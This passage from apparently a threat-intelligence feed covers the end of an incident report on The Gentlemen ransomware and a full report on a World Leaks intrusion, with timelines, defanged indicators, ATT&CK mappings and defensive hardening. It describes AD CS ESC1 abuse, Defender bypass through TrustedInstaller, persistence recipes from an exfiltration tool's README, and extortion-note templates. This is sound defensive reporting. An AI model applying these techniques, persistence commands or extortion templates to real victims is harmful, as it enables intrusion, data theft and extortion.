ESC1, a certificate issued for a subject the requester does not own. AD CS records the request and issue as Security 4886 and 4887, but neither is written until you enable CA auditing, which is not on by default. Flag any certificate whose subject alternative name does not match the account that requested it.

Certipy reconnaissance over LDAP. Directory service 1644 logs the LDAP searches certipy find runs, (objectClass=pKICertificateTemplate), ( & (objectClass=pKIEnrollmentService) ), and (objectClass=msPKI-Enterprise-Oid). 1644 stays off until you set 15 Field Engineering to 5 and the Expensive, Inefficient, and Search Time thresholds to 1 on domain controllers, which is what takes it from logging slow queries to recording every search.

Hardening

Audit your own AD CS with Certipy. Run certipy find -vulnerable -stdout, or PSPKIAudit and Locksmith, to find any misconfigured AD CS templates.

Take VPN authentication off directory and local passwords. Move the SSL VPN to an identity provider over SAML or OIDC, require MFA, and remove both the LDAP bind and the local firewall accounts.

Timeline

Day 1

Time (UTC)	Action
14:22	SSL VPN credential spray from 45.74.59[.]0/24, password Spring2026, 153,455 failures across 115,535 usernames
18:48	matched credential validated at the SSL VPN portal from 45.74.59[.]54, disconnect after 17 seconds
18:53	SSL VPN session opened from 158.94.211[.]14
18:53	TCP SYN scan across the subnet over 445, 88, 389, 636, 135, 53, 9401
18:55	LDAP enumeration against the domain controller
18:56	credential validation against every host in the domain
20:35	further LDAP enumeration, AD CS enrollment service surfaced
20:37	ESC1 certificate request, SAN upn=administrator, certificate issued
20:39	PKINIT logon as Administrator, UnPAC the hash recovers the NT hash
20:40	DCSync, 110 plus replication operations in 22 seconds
20:45	pass the hash as Administrator over NTLM
20:46	veeam-backup created and added to Domain Admins
20:48	RDP into the domain controller as veeam-backup
20:49	RDP into the backup server as veeam-backup
20:51	Microsoft Defender real time protection disabled on the backup server
20:51	DecryptVeeamEncryptedPasswords run against the Veeam configuration database
21:24	Admin2 created and added to local Administrators on the backup server

Day 2

Time (UTC)	Action
08:57	Veeam decryptor rerun on the backup server via wmiexec, svc.backup credentials recovered
09:29	authentication test across all hosts as the backup service account
09:30	NetExec write access test against ADMIN$, C$, IPC$ on every host in the domain
08:58 to 14:41	failed root and veeam-backup SSH attempts against the file server
12:24	network drives mapped to the file shares
12:32	first rclone exfiltration attempt to waso, pixeldrain, failed
14:33	RDP into the domain controller, the session the exfiltration runs under
15:01 to 16:01	file shares exfiltrated over SFTP to 91.92.242[.]32 through wabo
16:06	Advanced IP Scanner and systeminfo

Day 3

Time (UTC)	Action
08:13	RDP into the domain controller, victim data review over SMB
09:15 to 09:20	failed root SSH attempts against the mail server
09:21	Group Policy Management console opened
09:24	payload staged, run in Group Policy mode
09:25	payload copied to NETLOGON, Defender exclusions added, Security log cleared, note dropped on the domain controller
09:25	Microsoft Defender blocks the payload on the protected workstations
09:30	real time protection disabled on a host that had Tamper Protection off
11:01	payload exclusions added, Security log cleared, and the workstation encrypted
22:01 to 23:26	autonomous ONSTART payload waves re fire as hosts reboot

Indicators

Network

Indicator	Note
45.74.59[.]0/24	SSL VPN credential spray source, password Spring2026
45.74.59[.]54	SSL VPN credential validation source, matched account
158.94.211[.]14	SSL VPN session source, early recon
91.92.242[.]32	SSL VPN session source, SFTP exfiltration endpoint over 22
91.92.243[.]17	SSL VPN session source, backup server pivot
91.92.243[.]151	SSL VPN session source, hostname WIN-8H6JMQBVGP2
pixeldrain.com	failed exfiltration destination

Files

Artifact	Detail
G_9w5ey0_windows_amd64.exe	SHA256 4DE88220FF6A6DCB137B17D8D3F77AB4BACC39EA4E4D1147F687B021B7A82B8C
DecryptVeeamEncryptedPasswords.ps1	Veeam credential decryptor, SHA256 ae6ab7507086b2f59f587144f6b7257340c08b0d3d27cf9e578538c5be173fff
README-GENTLEMEN.txt	Ransom note
DecryptVeeamEncryptedPasswords	Veeam credential decryptor

Accounts created by the threat actor

Account	Detail
veeam-backup	Domain Admin
Admin2	local Administrator, password L0ckb1t38217

Actor

Field	Value
Alias	AlexSupp (assessed ex DragonForce and LockBit affiliate)
Group	The Gentlemen ransomware
Tox ID (shared, Gentle admin)	A4DCA91E7CF7DBBF29250281BE720F0DE793540BFC93611C41797B6BA76E12678185602470FC
Leak site	tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad[.]onion
X account	x.com/TheGentlemen26

MITRE ATT&CK

Tactic	Technique	Evidence
Initial Access	T1110.003 Password Spraying	SSL VPN spray, password Spring2026, 115,535 usernames
Initial Access	T1078 Valid Accounts	SSL VPN with the valid credential
Reconnaissance	T1046 Network Service Discovery	TCP SYN scan over 445, 88, 389, 636, 135, 53, 9401
Discovery	T1018 Remote System Discovery	LDAP enumeration, Advanced IP Scanner
Privilege Escalation	T1649 Steal or Forge Certificates	AD CS ESC1, certificate for Administrator
Credential Access	T1003.006 DCSync	directory replication of all hashes
Credential Access	T1555 Credentials from Password Stores	Veeam configuration database decryption
Persistence	T1136.002 Create Account	veeam-backup Domain Admin, Admin2 local
Lateral Movement	T1021.001 RDP	domain controller to backup server double hop
Lateral Movement	T1021.002 SMB Admin Shares	NetExec write test, payload staging
Execution	T1047 WMI	Impacket wmiexec
Defense Evasion	T1562.001 Impair Defenses	Defender disabled, exclusions added
Defense Evasion	T1070.001 Clear Windows Event Logs	Security log cleared as SYSTEM
Exfiltration	T1048 Exfiltration Over Alternative Protocol	rclone over SFTP
Impact	T1486 Data Encrypted for Impact	The Gentlemen ransomware through Group Policy
Impact	T1490 Inhibit System Recovery	vssadmin and wmic shadow deletion

References

The Gentlemen, Ransomware.live - https://www.ransomware.live/group/thegentlemen
The Gentlemen: A New Ransomware Threat Climbing the Charts Fast, Check Point Research - https://blog.checkpoint.com/research/the-gentlemen-a-new-ransomware-threat-climbing-the-charts-fast/
DFIR Report: The Gentlemen, Check Point Research - https://research.checkpoint.com/2026/dfir-report-the-gentlemen/
Thus Spoke The Gentlemen, Check Point Research - https://research.checkpoint.com/2026/thus-spoke-the-gentlemen/
Threat Assessment: The Gentlemen Ransomware Group, Halcyon - https://www.halcyon.ai/ransomware-research-reports/threat-assessment-the-gentlemen-ransomware-group
Hasta la vista, Hastalamuerte: An Overview of The Gentlemen's TTPs, Group-IB - https://www.group-ib.com/blog/hastalamuerte-gentlemen-raas-ttps/

World Leaks: RDP Access Leads to Custom Exfiltration and Personalized Extortion

Mon, 13 Apr 2026 00:00:00 GMT

At a Glance

Dwell time: 2 days
Initial access: RDP brute force (targeted wordlist)
Defense evasion: privacy.sexy
C2: Cobalt Strike + custom TCP beacon
Lateral movement: RDP and SMB
Exfiltration: Custom exfil tool, 6,900+ unique Cloudflare IPs over 443
Extortion: Personalized note for each user, 2 templates (leadership / employee)
Negotiation: $200,000 BTC demanded, negotiated down to $85,000, full negotiation chats included

Executive Summary

Over this two day intrusion World Leaks gained initial access to the network and quickly moved to critical infrastructure including the domain controller and backup server. The threat actor's goal was to access and exfiltrate sensitive corporate data across the organization which they used to pressure the victim into paying an extortion demand.

The threat actor brute forced the Administrator account on an exposed RDP service using a targeted wordlist specific to the company. The password would not have been found on a common wordlist indicating the threat actor performed reconnaissance on the organization prior to the brute force. Within 2 minutes of logging in the threat actor executed privacy.sexy to disable security controls and then deployed SoftPerfect Network Scanner with a pre built config to map the network. They then deployed a Cobalt Strike stager directly into PowerShell process memory and dropped lactenin.exe which is malware masquerading as a Microsoft Edge Update installer.

The threat actor moved laterally to the domain controller over RDP using the same Administrator credentials and replicated their tools across. They ran the same privacy.sexy script on the domain controller and copied lactenin.exe over SMB executing it immediately. The threat actor was removed from the network the same day.

The threat actor regained access the following day due to the original RDP exposure not being remediated. They accessed the backup server within 2 minutes of regaining access and attempted SSH connections to the Linux file server which all failed. The threat actor then downloaded agent.exe (RustyRocket, first identified and named by Accenture) which is a custom exfiltration platform that World Leaks distributes to their operators. An operator README that was able to be recovered indicates this is a maintained platform with three operating modes, persistence recipes, and a companion pivoting proxy for segmented networks.

Both the domain controller and backup server ran agent.exe simultaneously connecting to over 6,900 unique Cloudflare IPs over 443 to exfiltrate data collected over 445 from every reachable host. After exfiltrating the data the threat actor spent 68 minutes placing personalized extortion notes on every reachable workstation addressed by name to each user with separate templates for leadership and employees.

Initial Access

The threat actor first probed the exposed RDP service the day before with 2 SYN packets from 45.227.254[.]128 at 05:53 UTC. On Day 1 the first failed authentication attempt (Event 4625) was observed at 11:05 UTC and the brute force succeeded 2 minutes later at 11:07 UTC which was observed as a Type 3 NLA validation event with workstation name SBSSRV. The threat actor manually logged in over RDP 4 minutes later at 11:11 UTC. The password was custom to the organization and would not have been found on a common wordlist. This indicates the threat actor performed reconnaissance on the company prior to the brute force and built a targeted wordlist incorporating the company name.

The source IP 45.227.254[.]128 is a Windows Server 2012 R2 machine (hostname SBSSRV) hosted by Flyservers/XWIN UNIVERSAL (AS267784). This same IP was used across both phases of the intrusion with external RDP authentications Day 1 and Day 2 after the threat actor was kicked out. The RDP exposure was not remediated. The threat actor regained access the following day from the same source IP.

Reconnaissance:
  Day before, 05:53:47 UTC  2 SYN packets from 45.227.254[.]128 (probe)

Brute Force:
  Day 1, 11:05:01 UTC  First failed logon (Event 4625, Administrator)
  Day 1, 11:07:12 UTC  Brute force succeeds (Type 3, workstation: SBSSRV)
  2,153 failed logon attempts (Event 4625) from SBSSRV

RDP Logon:
  Time: 11:11:38 UTC (4 minutes after brute force success)
  Source: 45.227.254[.]128 (Flyservers/XWIN UNIVERSAL, Vilnius LT, AS267784)
  Target: Entry workstation, port 3389
  Account: Administrator
  Logon Type: 10 (RemoteInteractive)

Day 2 Regained access:
  Source: 45.227.254[.]128 (same IP)
  Account: Administrator

Establishing a Foothold

privacy.sexy

The threat actor used scripts generated by privacy.sexy which is a legitimate open source privacy hardening tool that can be found online.

The script uses a TrustedInstaller privilege escalation to execute commands that even local administrators cannot run directly. It works by creating a scheduled task named privacy.sexy invoke and then using the Schedule.Service COM object to call RunEx() on that task passing in the TrustedInstaller SID (S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464) as the execution identity. Because TrustedInstaller is the owner of protected system services like WinDefend the task runs with the permissions needed to stop and disable them. The script wraps the actual commands in a temporary batch file which gets executed through cmd.exe under the TrustedInstaller context.

The threat actor executed the script on the entry workstation at 11:13 UTC. The script executed 110 commands in 8 seconds disabling WinDefend, MpsSvc, Sense, WdNisSvc and SecurityHealthService. This tool has previously been observed used by Octo Tempest, a BlackCat/ALPHV affiliate, as documented by Microsoft in October 2023.

SoftPerfect Network Scanner (netscan.exe)

The threat actor deployed SoftPerfect Network Scanner (netscan.exe) on the entry workstation at 11:17 UTC. The tool was copied from the threat actor's server and extracted from a zip file via Windows Explorer. This was a licensed copy which includes additional features over the free version and it came with a pre built configuration file. The config had TCP port scanning enabled for 22, 389, 443, 445, 636, 902, 3389, 2179, 5000, 5001, 6170, 8080, 9401 and 9091. Port 9401 is the Veeam Backup Service secure connection port which is used by the mount server to communicate with the backup server. The inclusion of this port in the scan config suggests the threat actor routinely targets Veeam backup infrastructure. Share enumeration was enabled with write access checking turned on which allowed the threat actor to identify which shares they could write to across the network. The config also had workstation enumeration enabled for user accounts, disk drives, LAN groups, logged in users, roles and uptime. The tool ran on Day 1 from 11:17 to 11:39 UTC scanning 14 unique hosts across the network and was used again on Day 2 from 05:58 to 08:35 UTC to access SMB shares for placing the extortion notes.

Config highlights:
  TCP ports: 22, 389, 443, 445, 636, 902, 3389, 2179, 5000, 5001, 6170, 8080, 9401, 9091
  Share enumeration: enabled
  Write access check: enabled
  Share security info: enabled
  Disk space check: enabled
  Workstation enumeration: accounts, disk drives, LAN group, logged users, roles, uptime
  Max threads: 50
  Randomized scan order: enabled

Day 1: 11:17 to 11:39 UTC (network mapping, 255 events, 14 hosts)
Day 2: 05:58 to 08:35 UTC (SMB access for extortion notes, 502 events, 13 hosts)

Cobalt Strike

At 11:26 UTC a Cobalt Strike PowerShell stager was deployed manually by the threat actor copying and pasting into the PowerShell terminal. The command decoded base64 which then unzipped a blob leading to shell code injection into the PowerShell process. The beacon communicated with 45.227.253[.]139 over 31822 using the URI /8qiJ. The same IP was observed hosting a TLS service on port 59050 with a self signed certificate issued to CN=Pwn3rs Striked (O=Pwn3rs, OU=AdvancedReversing) which is associated with a cracked version of Cobalt Strike distributed through a popular software cracking Telegram channel Pwn3rs.

lactenin.exe

The threat actor deployed lactenin.exe which is a malware masquerading as a Microsoft Edge Update installer to the C:\inetpub\ directory on the entry workstation. The binary is written in Go and obfuscated using a science fiction theme for its variable and function names including turretController, navigationData, optimizeTargetingAlgorithm, manageCoolingSystem, powerDistributor, threatAssessment, and Plasma Conduit Calibration. The binary uses a self signed certificate (C2RService, untrusted root) and contained metadata referencing Microsoft Corporation with the original filename MicrosoftEdgeUpdateSetup.exe. The tool was downloaded from temp[.]sh. lactenin.exe beaconed to 195.66.213[.]218 over 4381.

File: C:\inetpub\lactenin.exe
SHA256: a80f5c877ccc7fa71b9de1eb9bd82f9525f1ab282d15c4b4beaffabbf3064c31
Language: Go based
Masquerade: MicrosoftEdgeUpdateSetup.exe
Download: temp[.]sh
C2: 195.66.213[.]218:4381 (3-4 minute beacon intervals)
Certificate: Self signed (C2RService, untrusted root)

Execution on entry workstation:
  Time: Day 1, 11:31:06 UTC | PID: 5784 | Parent: Explorer.EXE

Lateral Movement

The threat actor moved laterally to the domain controller over RDP at 11:31 UTC using the same Administrator credentials they brute forced. They ran the same privacy.sexy script on the domain controller at 11:32 UTC disabling the same security controls. They then copied lactenin.exe from the entry workstation to the domain controller over SMB at 11:38 UTC and executed it immediately. The file was written over SMB using SoftPerfect Network Scanner sourcing from the entry workstation. The threat actor also attempted to download PSTools from Microsoft's official site via Chrome on the domain controller but was removed from the network before the download completed.

Day 1:
  11:11:38 UTC  RDP into entry workstation (initial access from 45.227.254[.]128)
  11:31:48 UTC  RDP to domain controller (same brute forced Administrator account)
  11:32:32 UTC  privacy.sexy executed on domain controller
  11:38:30 UTC  lactenin.exe copied to DC over SMB
  11:38:44 UTC  lactenin.exe executed on DC

On Day 2 the threat actor logged back into the entry workstation at 05:57 UTC from 45.227.254[.]128. 2 minutes later they were on the backup server at 05:59 UTC which was the first host they moved to after regaining access. Seconds after logging in the threat actor launched the Veeam Backup and Replication console (veeam.backup.shell.exe) and began browsing through backup jobs, repositories, and storage configurations. The threat actor spent roughly 3 minutes inside the Veeam console looking for indications of virtualized infrastructure being backed up including VMware vSphere, Hyper-V, and Proxmox workloads. During the same window the threat actor pinged 45.227.254[.]128 and 45.227.253[.]139 from the backup server to confirm outbound reachability to their operating server and Cobalt Strike C2 before deploying additional tools. This was consistent with the NetScan config deployed on Day 1 which had port 9401 (Veeam Backup Service) enabled in its scan list indicating the threat actor routinely targets backup infrastructure as part of their operations.

At 06:23 UTC the threat actor ran mstsc.exe targeting the domain controller IP on the entry workstation. The logon on the domain controller was recorded as a Type 7 (Unlock/Reconnect) not a Type 10 which means the RDP session from Day 1 was still active on the domain controller and the threat actor reconnected to it rather than starting a new session.

Domain Controller Reconnect:
  06:23:53 UTC  mstsc.exe /v:[DC IP] on entry workstation
  06:24:07 UTC  Type 7 logon on domain controller
  Account: Administrator
  Source: [Entry workstation IP]
  Auth Package: Negotiate
  Elevated Token: Yes
  Note: Type 7 = session reconnect, not new session

The threat actor attempted SSH connections from the domain controller to the Linux file server using lactenin.exe over 22 trying a backup service account and then root but all 4 attempts failed.

Day 2:
  05:57:54 UTC  RDP back into entry workstation (regained access from 45.227.254[.]128)
  05:59:09 UTC  RDP to backup server (Administrator)
  06:06:35 UTC  ping 45.227.254[.]128 from backup server
  06:06:56 UTC  ping 45.227.253[.]139 from backup server
  06:23:53 UTC  RDP reconnect to domain controller (Type 7, Day 1 session still active)
  06:42:41 UTC  SSH to file server via lactenin.exe (failed)
  06:43:11 UTC  SSH failed: backup service account
  06:43:28 UTC  SSH failed: backup service account
  06:52:18 UTC  SSH failed: root
  06:52:32 UTC  SSH failed: root
  06:53:55 UTC  RDP to backup server (backup service account)
  07:01:04 UTC  RDP to workstation 1 (owner account)
  08:57:09 UTC  RDP to domain controller (domain admin account)

Recorded footage from day 2 of the intrusion:

Exfiltration

RustyRocket (agent.exe)

After the failed SSH attempts the threat actor opened Chrome on the domain controller and downloaded agent.zip from temp[.]sh at 06:45 UTC.

The threat actor extracted agent.exe and placed it in C:\ProgramData\Veeam\ on the domain controller. This path did not exist on the domain controller and was created by the threat actor to mimic legitimate Veeam infrastructure. 8 minutes later the threat actor copied agent.exe over SMB to the backup server where C:\ProgramData\Veeam\ was a legitimate path used by the Veeam Backup and Replication installation. An operator README titled Documentation that was able to be recovered indicates this is a maintained exfiltration platform that World Leaks distributes to their operators.

File: C:\ProgramData\Veeam\agent.exe
SHA256: 743f9dbb32f86322c5f55f1e9051c5cd88092f10adcdac45aa648ac06e229b8a
Language: Rust
Download: temp[.]sh
Companion: Pivoting Proxy (not observed in this intrusion)

The help output from agent.exe reveals the full command line interface available to operators:

The tool accepts IP addresses, hostnames, or share paths as arguments for targeted scanning. The --server and --client flags enable the distributed CLIENT/SERVER mode where one instance serves configuration to others across the network. The --user flag accepts domain administrator credentials in DOMAIN\USER:PASSWORD format to authenticate against remote shares. The --proxy flag connects to the companion pivoting proxy for routing traffic out of segmented networks. The --net-probes flag controls the number of concurrent host probes per second which defaults to 100.

Notable Snippets From Operator README

From the recovered documentation:

'The Agent Software is designed to index files across the network and securely transfer them to Secure Cloud Storage. It is essential to manage the encrypted configuration carefully to prevent interception.'

Operating Modes:
  NORMAL: Reads encrypted config from stdin. Indexes files. Transfers to cloud.
  CLIENT/SERVER: Multiple clients across network with one server. Can run as SYSTEM.
  SERVER (Linux): Listens for client connections. Distributes config.

NORMAL mode warning from README:
  'Tightly coupled to a user session; if the session is terminated,
   the program will stop.'

Documented persistence methods:
  1. sc create (local service as SYSTEM via svcrun.exe wrapper)
  2. sc \\<RemoteHost> create (remote service deployment)
  3. schtasks /create /ru SYSTEM (scheduled task)

Companion tool:
  'The Pivoting Proxy Software is useful when a file server is not connected
   to the Internet but is accessible from the local network.'

The Pivoting Proxy was not observed in this intrusion but its existence in the documentation is notable. The concept is similar to how Cobalt Strike handles segmented networks using SMB beacons that chain through a parent HTTP beacon to reach the internet. In that model a beacon on a host with no internet access communicates over SMB to a beacon on a host that does and the traffic is relayed out. The World Leaks pivoting proxy serves the same purpose for their exfiltration tool. If agent.exe is running on a file server that cannot reach the internet the proxy runs on a host that can and routes the exfiltration traffic through it. The fact that this is a separate documented tool rather than a built in feature suggests World Leaks has encountered enough segmented networks to justify developing a standalone solution for it. As mentioned earlier the threat actor pinged their external infrastructure from the backup server confirming it had internet access. This may have been a test to see if the companion tool was needed.

Deployment

Both instances were executed in NORMAL mode with the encrypted configuration passed manually by the threat actor at run time resulting in agent.exe being ran with no command flags. When executed agent.exe prompts the operator to paste the encrypted configuration directly into the terminal window.

Domain Controller (C:\ProgramData\Veeam\ path created by threat actor):
  06:45:30 UTC  Chrome opened, agent.zip downloaded from temp[.]sh
  06:47:07 UTC  agent.exe dropped
  06:48:41 UTC  Execution
  06:49:29 UTC  First outbound HTTPS 443 to Cloudflare

Backup Server (C:\ProgramData\Veeam\ legitimate path, Veeam installed):
  06:55:30 UTC  agent.exe copied over SMB
  06:57:37 UTC  First outbound HTTPS 443 to Cloudflare

SMB Collection

The domain controller instance handled the SMB collection connecting to every reachable host across the network over 445 indexing and exfiltrating every file from 10 hosts in 8 minutes generating 408,055 share access events.

DC SMB 445 collection: 06:52:37 to 07:00:48 UTC (8 minutes, 10 hosts, 408,055 share access events)

Internal targets accessed by both instances:
  Domain controller, file server, backup server, 7 workstations

Cloudflare Exfiltration

Both instances transmitted data over 443 to infrastructure sitting behind Cloudflare. The tool connected to over 6,900 unique IPs across both hosts all within Cloudflare ranges (104.x.x.x, 172.6x.x.x) not relying on a single IP for exfiltration. The volume of unique IPs suggests the exfiltration infrastructure is distributed across a large number of Cloudflare backed endpoints. The outbound connections continued until the threat actor was evicted from the network.

Domain Controller:
  3,506 unique external IPs over 443
  3,548 total outbound HTTPS connections

Backup Server:
  3,460 unique external IPs over 443
  3,456 total outbound HTTPS connections

Combined: 6,900+ unique Cloudflare IPs across both hosts (104.x.x.x, 172.6x.x.x)
Both hosts contributed roughly equal exfiltration volume.
Both continued outbound connections until eviction.

Extortion

The threat actor did not drop a generic extortion note across the network. Each WARNING_DATA_LEAK.txt was written and addressed by name to the user of that specific workstation. The threat actor spent 68 minutes from 07:49 to 08:57 UTC placing the files in the Desktop, Downloads, and Documents folders on each host. The threat actor used a combination of RDP and SoftPerfect Network Scanner to deploy the notes. NetScan which was deployed on Day 1 and still running on the entry workstation was used to access remote SMB shares across the network while RDP was used to connect directly to hosts and place files manually.

The threat actor addressed leadership by their full names. They addressed regular employees by their first names only and included a line instructing them to pass the message to management. The threat actor was observed browsing Active Directory on the domain controller inspecting user accounts, group memberships, and job titles to identify who was leadership and who was regular staff.

Management Template

Dear [Admin Full Name], [Owner Full Name],

We hope this message finds you well. We are writing to inform you of a serious matter concerning your company's data security. Our team has obtained a copy of your data, which is currently in our possession.

Think about the future of your business.

Download and run Tor Browser from hxxps://www[.]torproject[.]org/download/

Navigate to: [.onion negotiation portal - defanged]

Log in using credentials: [unique login / password]

Sincerely, World Leaks

Employee Template

Dear [First Name],

Please pass this message on to your management.

[Same body text as management template] [Same Tor portal + credentials]

Sincerely, World Leaks

Extortion Infrastructure:
  Group: World Leaks
  Portal: vw6vklsuotptwdbiwqfvd7y4b57wdbfm6ypxduzzgbt62snti6jm76yd[.]onion
  Leak Site: worldleaksartrjm3c6vasllvgacbi5u3mgzkluehrzhk2jz4taufuid[.]onion

Negotiation

The threat actor directed the victim to a Tor negotiation portal using credentials provided in the extortion notes. The portal included a live chat interface where the threat actor communicated directly with the victim. The following is the full negotiation chat:

Timeline

Time (UTC)	Event	Detail
Day before, 05:53	RDP probe	2 SYN packets from 45.227.254[.]128
Day 1, 11:05	First failed logon	Event 4625, Administrator, 2,153 attempts
Day 1, 11:07	Brute force succeeds	Administrator's password guessed correctly
Day 1, 11:11	RDP logon	Administrator from 45.227.254[.]128
Day 1, 11:13	privacy.sexy	110 commands on entry workstation
Day 1, 11:17	NetScan deployed	Licensed copy with pre built config
Day 1, 11:26	Cobalt Strike stager	PowerShell in process memory, C2 45.227.253[.]139:31822
Day 1, 11:31	lactenin.exe + C2	Execution + first beacon to 195.66.213[.]218:4381
Day 1, 11:31	RDP to domain controller	Same brute forced Administrator account
Day 1, 11:32	privacy.sexy on DC	TrustedInstaller escalation
Day 1, 11:38	lactenin.exe to DC	SMB copy + immediate execution
Day 1	Threat actor kicked out	Threat actor removed from network
Day 2, 05:57	RDP back in	Administrator from 45.227.254[.]128 to entry workstation
Day 2, 05:59	RDP to backup server	Administrator, first host accessed on Day 2
Day 2, 05:59	Veeam console opened	Browsed backup jobs, checked for virtualized infrastructure
Day 2, 06:06	Ping infrastructure	45.227.254[.]128 + 45.227.253[.]139 from backup server
Day 2, 06:24	RDP reconnect to DC	Type 7 reconnect, Day 1 session still active
Day 2, 06:42	SSH attempts (failed)	lactenin.exe to file server, 4 attempts
Day 2, 06:45	agent.zip downloaded	Chrome on DC, source: temp[.]sh
Day 2, 06:47	agent.exe dropped on DC	`C:\ProgramData\Veeam\`
Day 2, 06:48	agent.exe executed on DC	NORMAL mode, stdin config
Day 2, 06:49	DC exfil begins	First HTTPS 443 to Cloudflare
Day 2, 06:52	DC SMB sweep	10 hosts over 445 in 8 minutes
Day 2, 06:55	agent.exe to backup server	SMB copy to legitimate Veeam path
Day 2, 06:56	agent.exe executed on backup	Second instance, NORMAL mode
Day 2, 06:57	Backup exfil begins	3,456 HTTPS connections, 3,460 unique IPs
Day 2, 07:49	Extortion notes begin	Backup server via SMB C$
Day 2, 07:49-08:18	Notes on workstations	7 workstations, name by name
Day 2, 08:57	Final note on DC	Domain admin desktop
Day 2, continued	HTTPS exfil	6,900+ Cloudflare IPs until eviction

Indicators

Hashes

File	SHA256	Notes
lactenin.exe	`a80f5c877ccc7fa71b9de1eb9bd82f9525f1ab282d15c4b4beaffabbf3064c31`	Go, masquerading as Edge Update
agent.exe	`743f9dbb32f86322c5f55f1e9051c5cd88092f10adcdac45aa648ac06e229b8a`	Rust, RustyRocket exfil tool

IPs

IP	Port	Role
45.227.254[.]128	3389	External RDP source, SBSSRV
195.66.213[.]218	4381	lactenin.exe C2
45.227.253[.]139	31822	Cobalt Strike HTTP beacon, URI /8qiJ

Domains

Domain	Role
temp[.]sh	Tool hosting (lactenin.zip + agent.zip)
vw6vklsuotptwdbiwqfvd7y4b57wdbfm6ypxduzzgbt62snti6jm76yd[.]onion	Negotiation portal
worldleaksartrjm3c6vasllvgacbi5u3mgzkluehrzhk2jz4taufuid[.]onion	Leak site

MITRE ATT&CK

Tactic	Technique	Detail
Initial Access	T1078 Valid Accounts	Administrator RDP brute forced from 45.227.254[.]128
Defense Evasion	T1562.001 Impair Defenses	privacy.sexy, 110 commands, TrustedInstaller
Defense Evasion	T1036.005 Masquerading	Edge Update installer + Veeam directory
Credential Access	T1552.001 Credentials In Files	Harvested domain accounts
Lateral Movement	T1021.001 RDP	Entry workstation to DC and workstations
Lateral Movement	T1021.004 SSH	lactenin.exe to file server (failed)
Lateral Movement	T1021.002 SMB/Admin Shares	Tool distribution + C$ access
Command and Control	T1071.001 Web Protocols	lactenin.exe 195.66.213[.]218:4381 + CS 45.227.253[.]139:31822
Command and Control	T1059.001 PowerShell	Cobalt Strike stager in process memory
Exfiltration	T1567 Exfiltration Over Web Service	6,900+ Cloudflare IPs over 443
Exfiltration	T1039 Data from Network Shares	agent.exe SMB 445 sweep of all hosts
Impact	T1486 Data for Impact	Personalized extortion notes per user

References

T. Ryan Whelan (Accenture), Rusty Rocket Overview - https://www.linkedin.com/posts/t-ryan-whelan-1156ab5_rusty-rocket-overview-activity-7427362471729995776-wgmI
Microsoft Security Blog, Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction, October 2023 - https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/